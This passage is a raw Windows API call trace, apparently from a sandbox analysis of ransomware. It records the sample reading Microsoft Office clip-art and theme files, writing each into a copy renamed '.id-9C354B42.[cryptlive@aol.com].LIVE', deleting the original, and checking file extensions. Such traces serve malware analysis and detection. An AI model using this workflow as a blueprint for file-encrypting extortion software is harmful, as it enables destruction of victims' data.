lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.920] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0134.921] GetLastError () returned 0x0 [0134.921] ReadFile (in: hFile=0x314, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x175f, lpOverlapped=0x0) returned 1 [0134.938] WriteFile (in: hFile=0x384, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x1760, lpOverlapped=0x0) returned 1 [0134.939] ReadFile (in: hFile=0x314, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.939] WriteFile (in: hFile=0x384, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0134.939] SetEndOfFile (hFile=0x384) returned 1 [0134.939] CloseHandle (hObject=0x384) returned 1 [0134.939] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.939] SetEndOfFile (hFile=0x314) returned 1 [0134.942] CloseHandle (hObject=0x314) returned 1 [0134.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.965] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid")) returned 1 [0134.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0134.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0134.965] lstrlenW (lpString=".doc") returned 4 [0134.965] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.965] lstrlenW (lpString=".docx") returned 5 [0134.965] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0134.965] lstrlenW (lpString=".pdf") returned 4 [0134.965] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.965] lstrlenW (lpString=".xls") returned 4 [0134.965] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.965] lstrlenW (lpString=".xlsx") returned 5 [0134.965] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0134.966] lstrlenW (lpString=".ppt") returned 4 [0134.966] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0134.966] lstrlenW (lpString=".zip") returned 4 [0134.966] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.966] lstrlenW (lpString=".rar") returned 4 [0134.966] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.966] lstrlenW (lpString=".bz2") returned 4 [0134.966] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.966] lstrlenW (lpString=".7z") returned 3 [0134.966] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0134.966] lstrlenW (lpString=".dbf") returned 4 [0134.966] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0134.966] lstrlenW (lpString=".1cd") returned 4 [0134.966] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0134.966] lstrlenW (lpString=".jpg") returned 4 [0134.966] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0134.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0134.966] lstrlenW (lpString=".doc") returned 4 [0134.966] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.966] lstrlenW (lpString=".docx") returned 5 [0134.966] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0134.966] lstrlenW (lpString=".pdf") returned 4 [0134.966] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.966] lstrlenW (lpString=".xls") returned 4 [0134.966] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.966] lstrlenW (lpString=".xlsx") returned 5 [0134.966] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0134.966] lstrlenW (lpString=".ppt") returned 4 [0134.966] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0134.967] lstrlenW (lpString=".zip") returned 4 [0134.967] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.967] lstrlenW (lpString=".rar") returned 4 [0134.967] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.967] lstrlenW (lpString=".bz2") returned 4 [0134.967] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.967] lstrlenW (lpString=".7z") returned 3 [0134.967] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0134.967] lstrlenW (lpString=".dbf") returned 4 [0134.967] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0134.967] lstrlenW (lpString=".1cd") returned 4 [0134.967] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0134.968] lstrlenW (lpString=".jpg") returned 4 [0134.968] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.968] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0134.968] lstrlenW (lpString="SCHOL_02.MID") returned 12 [0134.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0134.973] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=5058) returned 1 [0134.973] CloseHandle (hObject=0x314) returned 1 [0134.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid")) returned 0x20 [0134.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0134.993] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.993] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.994] GetLastError () returned 0x0 [0134.994] ReadFile (in: hFile=0x384, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x13c2, lpOverlapped=0x0) returned 1 [0134.999] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x13d0, lpOverlapped=0x0) returned 1 [0135.000] ReadFile (in: hFile=0x384, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0135.000] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0135.000] SetEndOfFile (hFile=0x2f8) returned 1 [0135.023] CloseHandle (hObject=0x2f8) returned 1 [0135.024] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.024] SetEndOfFile (hFile=0x384) returned 1 [0135.026] CloseHandle (hObject=0x384) returned 1 [0135.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.026] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid")) returned 1 [0135.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0135.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0135.027] lstrlenW (lpString=".doc") returned 4 [0135.027] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0135.027] lstrlenW (lpString=".docx") returned 5 [0135.027] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0135.027] lstrlenW (lpString=".pdf") returned 4 [0135.027] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0135.027] lstrlenW (lpString=".xls") returned 4 [0135.027] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0135.027] lstrlenW (lpString=".xlsx") returned 5 [0135.027] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0135.027] lstrlenW (lpString=".ppt") returned 4 [0135.167] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0135.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0135.167] lstrlenW (lpString=".zip") returned 4 [0135.167] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0135.167] lstrlenW (lpString=".rar") returned 4 [0135.167] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0135.167] lstrlenW (lpString=".bz2") returned 4 [0135.167] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0135.167] lstrlenW (lpString=".7z") returned 3 [0135.167] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0135.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0135.168] lstrlenW (lpString=".dbf") returned 4 [0135.168] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0135.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0135.168] lstrlenW (lpString=".1cd") returned 4 [0135.168] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0135.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0135.168] lstrlenW (lpString=".jpg") returned 4 [0135.168] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0135.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0135.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0135.168] lstrlenW (lpString=".doc") returned 4 [0135.168] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0135.168] lstrlenW (lpString=".docx") returned 5 [0135.168] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0135.168] lstrlenW (lpString=".pdf") returned 4 [0135.168] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0135.168] lstrlenW (lpString=".xls") returned 4 [0135.168] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0135.168] lstrlenW (lpString=".xlsx") returned 5 [0135.168] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0135.168] lstrlenW (lpString=".ppt") returned 4 [0135.168] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0135.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0135.168] lstrlenW (lpString=".zip") returned 4 [0135.168] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0135.168] lstrlenW (lpString=".rar") returned 4 [0135.168] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0135.168] lstrlenW (lpString=".bz2") returned 4 [0135.168] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0135.168] lstrlenW (lpString=".7z") returned 3 [0135.169] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0135.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0135.169] lstrlenW (lpString=".dbf") returned 4 [0135.169] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0135.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0135.169] lstrlenW (lpString=".1cd") returned 4 [0135.169] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0135.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0135.169] lstrlenW (lpString=".jpg") returned 4 [0135.169] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0135.169] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0135.169] lstrlenW (lpString="SUMER_01.MID") returned 12 [0135.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0135.199] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=14044) returned 1 [0135.199] CloseHandle (hObject=0x1ec) returned 1 [0135.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid")) returned 0x20 [0135.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0135.269] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.269] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0135.270] GetLastError () returned 0x0 [0135.270] ReadFile (in: hFile=0x350, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x36dc, lpOverlapped=0x0) returned 1 [0135.286] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x36e0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x36e0, lpOverlapped=0x0) returned 1 [0135.287] ReadFile (in: hFile=0x350, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0135.287] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0135.287] SetEndOfFile (hFile=0x2f8) returned 1 [0135.462] CloseHandle (hObject=0x2f8) returned 1 [0135.546] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.546] SetEndOfFile (hFile=0x350) returned 1 [0135.549] CloseHandle (hObject=0x350) returned 1 [0135.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.550] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid")) returned 1 [0135.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0135.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0135.557] lstrlenW (lpString=".doc") returned 4 [0135.557] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0135.557] lstrlenW (lpString=".docx") returned 5 [0135.557] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0135.557] lstrlenW (lpString=".pdf") returned 4 [0135.557] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0135.557] lstrlenW (lpString=".xls") returned 4 [0135.557] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0135.557] lstrlenW (lpString=".xlsx") returned 5 [0135.557] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0135.557] lstrlenW (lpString=".ppt") returned 4 [0135.557] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0135.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0135.557] lstrlenW (lpString=".zip") returned 4 [0135.557] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0135.557] lstrlenW (lpString=".rar") returned 4 [0135.557] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0135.557] lstrlenW (lpString=".bz2") returned 4 [0135.557] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0135.557] lstrlenW (lpString=".7z") returned 3 [0135.557] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0135.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0135.557] lstrlenW (lpString=".dbf") returned 4 [0135.557] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0135.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0135.557] lstrlenW (lpString=".1cd") returned 4 [0135.557] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0135.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0135.558] lstrlenW (lpString=".jpg") returned 4 [0135.558] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0135.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0135.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0135.558] lstrlenW (lpString=".doc") returned 4 [0135.558] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0135.558] lstrlenW (lpString=".docx") returned 5 [0135.558] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0135.558] lstrlenW (lpString=".pdf") returned 4 [0135.558] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0135.558] lstrlenW (lpString=".xls") returned 4 [0135.558] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0135.558] lstrlenW (lpString=".xlsx") returned 5 [0135.558] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0135.558] lstrlenW (lpString=".ppt") returned 4 [0135.558] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0135.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0135.558] lstrlenW (lpString=".zip") returned 4 [0135.558] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0135.558] lstrlenW (lpString=".rar") returned 4 [0135.558] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0135.558] lstrlenW (lpString=".bz2") returned 4 [0135.558] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0135.558] lstrlenW (lpString=".7z") returned 3 [0135.558] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0135.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0135.558] lstrlenW (lpString=".dbf") returned 4 [0135.558] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0135.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0135.558] lstrlenW (lpString=".1cd") returned 4 [0135.558] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0135.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0135.558] lstrlenW (lpString=".jpg") returned 4 [0135.558] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0135.559] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0135.559] lstrlenW (lpString="Austin.eftx") returned 11 [0135.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0135.578] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=26989) returned 1 [0135.578] CloseHandle (hObject=0x38c) returned 1 [0135.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx")) returned 0x20 [0135.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0135.652] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.652] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0135.652] GetLastError () returned 0x0 [0135.652] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, 